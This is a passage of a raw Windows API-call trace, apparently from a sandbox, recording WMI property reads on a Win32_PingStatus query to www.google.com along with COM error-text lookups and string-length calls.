SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.634] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8620*=0, plFlavor=0x24b8624*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b8620*=8, plFlavor=0x24b8624*=64) returned 0x0 [0142.634] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.634] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.634] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b866c*=0, plFlavor=0x24b8670*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b866c*=8, plFlavor=0x24b8670*=64) returned 0x0 [0142.634] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.634] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0142.634] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0142.634] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.634] IWbemClassObject:Get (in: This=0x4f480a0, wszName="WriteVerboseStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b88a4*=0, plFlavor=0x24b88a8*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b88a4*=0, plFlavor=0x24b88a8*=0) returned 0x80041002 [0142.634] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0142.636] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b4e8) returned 0x0 [0142.636] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0142.636] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b4e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b518) returned 0x0 [0142.636] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4e8) returned 0x0 [0142.637] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b518, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b518) returned 0x0 [0142.637] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b518, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0142.637] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b518) returned 0x3 [0142.637] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b518, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0142.637] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b518, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0142.637] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b518, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0142.637] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0142.637] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0142.637] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b518, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0142.637] WbemStatusCodeText:IUnknown:Release (This=0x4f5b518) returned 0x2 [0142.637] WbemStatusCodeText:IUnknown:Release (This=0x4f5b518) returned 0x1 [0142.637] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0142.637] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0142.637] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b518, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b518) returned 0x0 [0142.638] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b518) returned 0x3 [0142.638] WbemStatusCodeText:IUnknown:Release (This=0x4f5b518) returned 0x2 [0142.638] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b518, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0142.638] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.639] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.639] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.639] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.639] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.639] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.639] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.639] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0142.639] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.639] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.639] SafeArrayGetLBound (in: psa=0x507510, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0142.640] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.640] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.640] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.640] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.640] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.640] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.640] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.640] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.640] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.640] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.640] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.640] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.640] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.640] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.640] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.640] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.640] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.640] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.640] SysStringByteLen (bstr="__PATH") returned 0xc [0142.640] SysStringByteLen (bstr="__PATH") returned 0xc [0142.641] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8c84*=0, plFlavor=0x24b8c88*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b8c84*=3, plFlavor=0x24b8c88*=64) returned 0x0 [0142.641] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8cb8*=0, plFlavor=0x24b8cbc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b8cb8*=8, plFlavor=0x24b8cbc*=64) returned 0x0 [0142.641] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.641] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.641] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8d10*=0, plFlavor=0x24b8d14*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8d10*=8, plFlavor=0x24b8d14*=64) returned 0x0 [0142.641] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8d38*=0, plFlavor=0x24b8d3c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b8d38*=8, plFlavor=0x24b8d3c*=64) returned 0x0 [0142.641] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.641] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.641] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8d90*=0, plFlavor=0x24b8d94*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b8d90*=8, plFlavor=0x24b8d94*=64) returned 0x0 [0142.642] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.642] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.642] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8f6c*=0, plFlavor=0x24b8f70*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b8f6c*=3, plFlavor=0x24b8f70*=64) returned 0x0 [0142.642] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8fa0*=0, plFlavor=0x24b8fa4*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b8fa0*=8200, plFlavor=0x24b8fa4*=64) returned 0x0 [0142.642] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8fd4*=0, plFlavor=0x24b8fd8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b8fd4*=8, plFlavor=0x24b8fd8*=64) returned 0x0 [0142.642] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.642] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.642] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9020*=0, plFlavor=0x24b9024*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b9020*=8, plFlavor=0x24b9024*=64) returned 0x0 [0142.643] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.643] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.643] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b906c*=0, plFlavor=0x24b9070*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b906c*=8, plFlavor=0x24b9070*=64) returned 0x0 [0142.643] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.643] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.643] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0142.643] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0142.643] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.643] IWbemClassObject:Get (in: This=0x4f480a0, wszName="WriteDebugStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b92a4*=0, plFlavor=0x24b92a8*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b92a4*=0, plFlavor=0x24b92a8*=0) returned 0x80041002 [0142.643] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0142.644] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b4e8) returned 0x0 [0142.645] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0142.645] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b4e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f35cc8) returned 0x0 [0142.645] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4e8) returned 0x0 [0142.645] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35cc8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f35cc8) returned 0x0 [0142.645] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35cc8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0142.645] WbemStatusCodeText:IUnknown:AddRef (This=0x4f35cc8) returned 0x3 [0142.645] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35cc8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0142.645] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35cc8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0142.645] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35cc8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0142.646] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0142.646] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0142.646] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35cc8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0142.646] WbemStatusCodeText:IUnknown:Release (This=0x4f35cc8) returned 0x2 [0142.646] WbemStatusCodeText:IUnknown:Release (This=0x4f35cc8) returned 0x1 [0142.646] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0142.646] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0142.646] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35cc8, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f35cc8) returned 0x0 [0142.646] WbemStatusCodeText:IUnknown:AddRef (This=0x4f35cc8) returned 0x3 [0142.646] WbemStatusCodeText:IUnknown:Release (This=0x4f35cc8) returned 0x2 [0142.646] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f35cc8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0142.646] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.647] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.647] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.647] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.648] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.648] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0142.648] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.648] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.648] SafeArrayGetLBound (in: psa=0x507540, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0142.648] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.648] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.648] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.648] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.648] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.648] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.648] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.648] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.648] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.648] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.648] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.648] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.649] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.649] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.649] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.649] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.649] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.649] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.649] SysStringByteLen (bstr="__PATH") returned 0xc [0142.649] SysStringByteLen (bstr="__PATH") returned 0xc [0142.649] IWbemClassObject:Get (in: 